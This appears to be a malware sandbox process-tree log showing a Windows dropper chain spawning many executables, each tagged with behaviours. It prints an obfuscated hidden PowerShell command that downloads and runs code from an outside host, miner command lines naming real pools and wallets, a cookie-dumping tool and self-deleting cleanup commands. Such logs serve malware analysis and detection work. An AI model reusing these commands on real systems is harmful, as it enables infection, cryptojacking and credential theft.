C:\Users\Admin\AppData\Local\Temp\okgx1lep0va\aenico5jnz5.exe"C:\Users\Admin\AppData\Local\Temp\okgx1lep0va\aenico5jnz5.exe" /ustwo INSTALL8⤵PID:5204
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "aenico5jnz5.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\okgx1lep0va\aenico5jnz5.exe" & exit9⤵PID:5380
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "aenico5jnz5.exe" /f10⤵
- Kills process with taskkill
PID:4300
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bapspvaqkph\xozfcwdvow4.exe"C:\Users\Admin\AppData\Local\Temp\bapspvaqkph\xozfcwdvow4.exe"8⤵PID:5184
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0Y4OAITZ4K\setups.exe"C:\Users\Admin\AppData\Local\Temp\0Y4OAITZ4K\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Users\Admin\AppData\Local\Temp\is-U5KMA.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-U5KMA.tmp\setups.tmp" /SL5="$9005E,635399,250368,C:\Users\Admin\AppData\Local\Temp\0Y4OAITZ4K\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1628
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2292 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4312
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
PID:4672 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵PID:4824
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
PID:4856 -
C:\Users\Admin\AppData\Roaming\A440.tmp.exe"C:\Users\Admin\AppData\Roaming\A440.tmp.exe"5⤵
- Executes dropped EXE
PID:5052 -
C:\Users\Admin\AppData\Roaming\A440.tmp.exe"C:\Users\Admin\AppData\Roaming\A440.tmp.exe"6⤵PID:4592
-
-
-
C:\Users\Admin\AppData\Roaming\A5B8.tmp.exe"C:\Users\Admin\AppData\Roaming\A5B8.tmp.exe"5⤵PID:4724
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:4620
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵PID:4540
-
-
-
C:\Users\Admin\AppData\Roaming\A6D2.tmp.exe"C:\Users\Admin\AppData\Roaming\A6D2.tmp.exe"5⤵PID:5024
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\A6D2.tmp.exe6⤵PID:8036
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
PID:1648
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:4696
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4160
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵PID:188
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:5112
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4132
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4188
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4728
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4320
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-09I29.tmp\{app}\microsoft.cab -F:* %ProgramData%1⤵PID:5328
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-09I29.tmp\{app}\microsoft.cab -F:* C:\ProgramData2⤵PID:5884
-
-
C:\Users\Admin\AppData\Local\Temp\is-SEQB1.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-SEQB1.tmp\winlthsth.exe"1⤵PID:5548
-
C:\Users\Admin\AppData\Local\Temp\UV2WxawXx.exe"C:\Users\Admin\AppData\Local\Temp\UV2WxawXx.exe"2⤵PID:2904
-
C:\Users\Admin\AppData\Local\Temp\UV2WxawXx.exe"C:\Users\Admin\AppData\Local\Temp\UV2WxawXx.exe"3⤵PID:3684
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"2⤵PID:7456
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"3⤵PID:4624
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\bapspvaqkph\xozfcwdvow4.exe"1⤵PID:5140
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30002⤵
- Runs ping.exe
PID:5592
-
-
C:\Users\Admin\AppData\Local\Temp\is-3IGS0.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-3IGS0.tmp\Setup3310.tmp" /SL5="$5013C,138429,56832,C:\Users\Admin\AppData\Local\Temp\qmt4sqljwqq\Setup3310.exe" /Verysilent /subid=5771⤵PID:5308
-
C:\Users\Admin\AppData\Local\Temp\is-P7FHL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-P7FHL.tmp\Setup.exe" /Verysilent2⤵PID:5096
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"3⤵PID:5108
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:1000
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6032
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"3⤵PID:5552
-
C:\Users\Admin\AppData\Local\Temp\is-909BQ.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-909BQ.tmp\lylal220.tmp" /SL5="$30446,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"4⤵PID:4796
-
C:\Users\Admin\AppData\Local\Temp\is-6GRJM.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-6GRJM.tmp\Microsoft.exe" /S /UID=lylal2205⤵PID:1460
-
C:\Program Files\Common Files\YVEHUWKVQX\irecord.exe"C:\Program Files\Common Files\YVEHUWKVQX\irecord.exe" /VERYSILENT6⤵PID:3828
-
C:\Users\Admin\AppData\Local\Temp\is-8M2NQ.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-8M2NQ.tmp\irecord.tmp" /SL5="$30202,6265333,408064,C:\Program Files\Common Files\YVEHUWKVQX\irecord.exe" /VERYSILENT7⤵PID:500
-
-
-
C:\Users\Admin\AppData\Local\Temp\6b-e1ee5-1bb-969a1-297cb54e28b08\Muwygalimi.exe"C:\Users\Admin\AppData\Local\Temp\6b-e1ee5-1bb-969a1-297cb54e28b08\Muwygalimi.exe"6⤵PID:3292
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1d4utbcy.syc\md6_6ydj.exe & exit7⤵PID:7304
-
C:\Users\Admin\AppData\Local\Temp\1d4utbcy.syc\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\1d4utbcy.syc\md6_6ydj.exe8⤵PID:7836
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7836 -s 44289⤵
- Program crash
PID:1348
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ptg4f34u.al1\askinstall31.exe & exit7⤵PID:7528
-
C:\Users\Admin\AppData\Local\Temp\ptg4f34u.al1\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\ptg4f34u.al1\askinstall31.exe8⤵PID:8056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\v05s0c4p.cun\toolspab1.exe & exit7⤵PID:7676
-
C:\Users\Admin\AppData\Local\Temp\v05s0c4p.cun\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\v05s0c4p.cun\toolspab1.exe8⤵PID:8128
-
C:\Users\Admin\AppData\Local\Temp\v05s0c4p.cun\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\v05s0c4p.cun\toolspab1.exe9⤵PID:7992
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\20t1uan4.mkj\setup_10.2_mix.exe & exit7⤵PID:6384
-
C:\Users\Admin\AppData\Local\Temp\20t1uan4.mkj\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\20t1uan4.mkj\setup_10.2_mix.exe8⤵PID:1212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yjsqbbox.t2k\GcleanerWW.exe /mixone & exit7⤵PID:8000
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ggdfkjvh.d0y\app.exe /8-2222 & exit7⤵PID:8084
-
C:\Users\Admin\AppData\Local\Temp\ggdfkjvh.d0y\app.exeC:\Users\Admin\AppData\Local\Temp\ggdfkjvh.d0y\app.exe /8-22228⤵PID:4820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rbqu4lli.zgx\file.exe & exit7⤵PID:1956
-
C:\Users\Admin\AppData\Local\Temp\rbqu4lli.zgx\file.exeC:\Users\Admin\AppData\Local\Temp\rbqu4lli.zgx\file.exe8⤵PID:804
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"9⤵PID:6296
-
C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe" 0 3060197d33d91c80.94013368 0 10110⤵PID:4760
-
C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe" 1 3.1617436426.60681f0a0c201 10111⤵PID:6044
-
C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\9X675AWWJC\multitimer.exe" 2 3.1617436426.60681f0a0c20112⤵PID:6412
-
C:\Users\Admin\AppData\Local\Temp\5jilxmokomb\1nznxffvz1e.exe"C:\Users\Admin\AppData\Local\Temp\5jilxmokomb\1nznxffvz1e.exe" /ustwo INSTALL13⤵PID:4652
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "1nznxffvz1e.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\5jilxmokomb\1nznxffvz1e.exe" & exit14⤵PID:1216
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "1nznxffvz1e.exe" /f15⤵
- Kills process with taskkill
PID:6500
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\oy5kkwpvn4e\vict.exe"C:\Users\Admin\AppData\Local\Temp\oy5kkwpvn4e\vict.exe" /VERYSILENT /id=53513⤵PID:6120
-
C:\Users\Admin\AppData\Local\Temp\is-N6MKB.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-N6MKB.tmp\vict.tmp" /SL5="$4063E,870426,780800,C:\Users\Admin\AppData\Local\Temp\oy5kkwpvn4e\vict.exe" /VERYSILENT /id=53514⤵PID:9096
-
C:\Users\Admin\AppData\Local\Temp\is-A921T.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-A921T.tmp\win1host.exe" 53515⤵PID:9460
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sgdsjp5rbon\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\sgdsjp5rbon\cpyrix.exe" /VERYSILENT13⤵PID:8780
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe14⤵PID:9960
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"15⤵PID:9420
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub15⤵PID:10016
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe16⤵PID:8972
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe14⤵PID:10020
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"15⤵PID:5092
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3g0roejivsv\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\3g0roejivsv\Setup3310.exe" /Verysilent /subid=57713⤵PID:6640
-
C:\Users\Admin\AppData\Local\Temp\is-NR0VJ.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-NR0VJ.tmp\Setup3310.tmp" /SL5="$307DA,138429,56832,C:\Users\Admin\AppData\Local\Temp\3g0roejivsv\Setup3310.exe" /Verysilent /subid=57714⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\is-TMMPN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-TMMPN.tmp\Setup.exe" /Verysilent15⤵PID:8016
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\u4qpzbao2ba\app.exe"C:\Users\Admin\AppData\Local\Temp\u4qpzbao2ba\app.exe" /8-2313⤵PID:8092
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5GBXPY4CKX\setups.exe"C:\Users\Admin\AppData\Local\Temp\5GBXPY4CKX\setups.exe" ll10⤵PID:7216
-
C:\Users\Admin\AppData\Local\Temp\is-AN9LR.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-AN9LR.tmp\setups.tmp" /SL5="$305BC,635399,250368,C:\Users\Admin\AppData\Local\Temp\5GBXPY4CKX\setups.exe" ll11⤵PID:3048
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"9⤵PID:4888
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵PID:5564
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
PID:4356
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"9⤵PID:8372
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"10⤵PID:7596
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install11⤵PID:5952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"9⤵PID:5340
-
C:\Users\Admin\AppData\Roaming\68D4.tmp.exe"C:\Users\Admin\AppData\Roaming\68D4.tmp.exe"10⤵PID:4092
-
C:\Users\Admin\AppData\Roaming\68D4.tmp.exe"C:\Users\Admin\AppData\Roaming\68D4.tmp.exe"11⤵PID:7348
-
-
-
C:\Users\Admin\AppData\Roaming\7DA5.tmp.exe"C:\Users\Admin\AppData\Roaming\7DA5.tmp.exe"10⤵PID:5324
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999911⤵PID:8972
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999911⤵PID:6104
-
-
-
C:\Users\Admin\AppData\Roaming\8E02.tmp.exe"C:\Users\Admin\AppData\Roaming\8E02.tmp.exe"10⤵PID:8072
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"10⤵PID:3180
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.111⤵
- Runs ping.exe
PID:3848
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"9⤵PID:5948
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vbwzxbxw.lda\Four.exe & exit7⤵PID:6136
-
C:\Users\Admin\AppData\Local\Temp\vbwzxbxw.lda\Four.exeC:\Users\Admin\AppData\Local\Temp\vbwzxbxw.lda\Four.exe8⤵PID:1260
-
C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1049⤵PID:7748
-
C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe" 1 3.1617436441.60681f19ea948 10410⤵PID:5940
-
C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\1CDPAGTXZ6\multitimer.exe" 2 3.1617436441.60681f19ea94811⤵PID:7072
-
C:\Users\Admin\AppData\Local\Temp\4wehrxkkkqf\tlyanoemkco.exe"C:\Users\Admin\AppData\Local\Temp\4wehrxkkkqf\tlyanoemkco.exe" /ustwo INSTALL12⤵PID:4444
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "tlyanoemkco.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\4wehrxkkkqf\tlyanoemkco.exe" & exit13⤵PID:6576
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "tlyanoemkco.exe" /f14⤵
- Kills process with taskkill
PID:8652
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rfhxr3yziee\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\rfhxr3yziee\Setup3310.exe" /Verysilent /subid=57712⤵PID:8212
-
C:\Users\Admin\AppData\Local\Temp\is-6HPU6.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-6HPU6.tmp\Setup3310.tmp" /SL5="$407C6,138429,56832,C:\Users\Admin\AppData\Local\Temp\rfhxr3yziee\Setup3310.exe" /Verysilent /subid=57713⤵PID:9764
-
C:\Users\Admin\AppData\Local\Temp\is-H3IGE.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-H3IGE.tmp\Setup.exe" /Verysilent14⤵PID:5464
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gmgmksqaq2n\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\gmgmksqaq2n\cpyrix.exe" /VERYSILENT12⤵PID:8508
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe13⤵PID:7972
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"14⤵PID:4628
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub14⤵PID:8816
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe15⤵PID:10104
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe13⤵PID:7140
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"14⤵PID:3812
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bmgcxucyva3\app.exe"C:\Users\Admin\AppData\Local\Temp\bmgcxucyva3\app.exe" /8-2312⤵PID:2264
-
-
C:\Users\Admin\AppData\Local\Temp\i5ht52u34xp\vict.exe"C:\Users\Admin\AppData\Local\Temp\i5ht52u34xp\vict.exe" /VERYSILENT /id=53512⤵PID:8024
-
C:\Users\Admin\AppData\Local\Temp\is-4O9KP.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-4O9KP.tmp\vict.tmp" /SL5="$207C0,870426,780800,C:\Users\Admin\AppData\Local\Temp\i5ht52u34xp\vict.exe" /VERYSILENT /id=53513⤵PID:9972
-
C:\Users\Admin\AppData\Local\Temp\is-TBHG0.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-TBHG0.tmp\win1host.exe" 53514⤵PID:8760
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\OMF7EBLTMG\setups.exe"C:\Users\Admin\AppData\Local\Temp\OMF7EBLTMG\setups.exe" ll9⤵PID:4776
-
C:\Users\Admin\AppData\Local\Temp\is-J7NOQ.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-J7NOQ.tmp\setups.tmp" /SL5="$10688,635399,250368,C:\Users\Admin\AppData\Local\Temp\OMF7EBLTMG\setups.exe" ll10⤵PID:4144
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\c7-1ca51-cba-efc9f-4a85b3d68e6fb\Vekyfaexara.exe"C:\Users\Admin\AppData\Local\Temp\c7-1ca51-cba-efc9f-4a85b3d68e6fb\Vekyfaexara.exe"6⤵PID:4708
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22047⤵PID:8088
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"3⤵PID:4184
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"4⤵PID:5596
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install5⤵PID:1856
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"3⤵PID:5492
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"4⤵PID:6084
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install5⤵PID:4736
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"3⤵PID:4456
-
C:\Users\Admin\AppData\Local\Temp\is-700RA.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-700RA.tmp\LabPicV3.tmp" /SL5="$4044C,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"4⤵PID:5376
-
C:\Users\Admin\AppData\Local\Temp\is-NAJFS.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-NAJFS.tmp\ppppppfy.exe" /S /UID=lab2145⤵PID:2688
-
C:\Program Files\Windows Defender Advanced Threat Protection\BLBCXXEGSE\prolab.exe"C:\Program Files\Windows Defender Advanced Threat Protection\BLBCXXEGSE\prolab.exe" /VERYSILENT6⤵PID:1984
-
C:\Users\Admin\AppData\Local\Temp\is-BA1GR.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-BA1GR.tmp\prolab.tmp" /SL5="$40250,575243,216576,C:\Program Files\Windows Defender Advanced Threat Protection\BLBCXXEGSE\prolab.exe" /VERYSILENT7⤵PID:2912
-
-
-
C:\Users\Admin\AppData\Local\Temp\13-43921-338-b9295-dffd42b01bd18\Rokipukavae.exe"C:\Users\Admin\AppData\Local\Temp\13-43921-338-b9295-dffd42b01bd18\Rokipukavae.exe"6⤵PID:5360
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\23p5303f.z5k\md6_6ydj.exe & exit7⤵PID:5332
-
C:\Users\Admin\AppData\Local\Temp\23p5303f.z5k\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\23p5303f.z5k\md6_6ydj.exe8⤵PID:7520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\skqvicgn.4qe\askinstall31.exe & exit7⤵PID:7380
-
C:\Users\Admin\AppData\Local\Temp\skqvicgn.4qe\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\skqvicgn.4qe\askinstall31.exe8⤵PID:7912
-
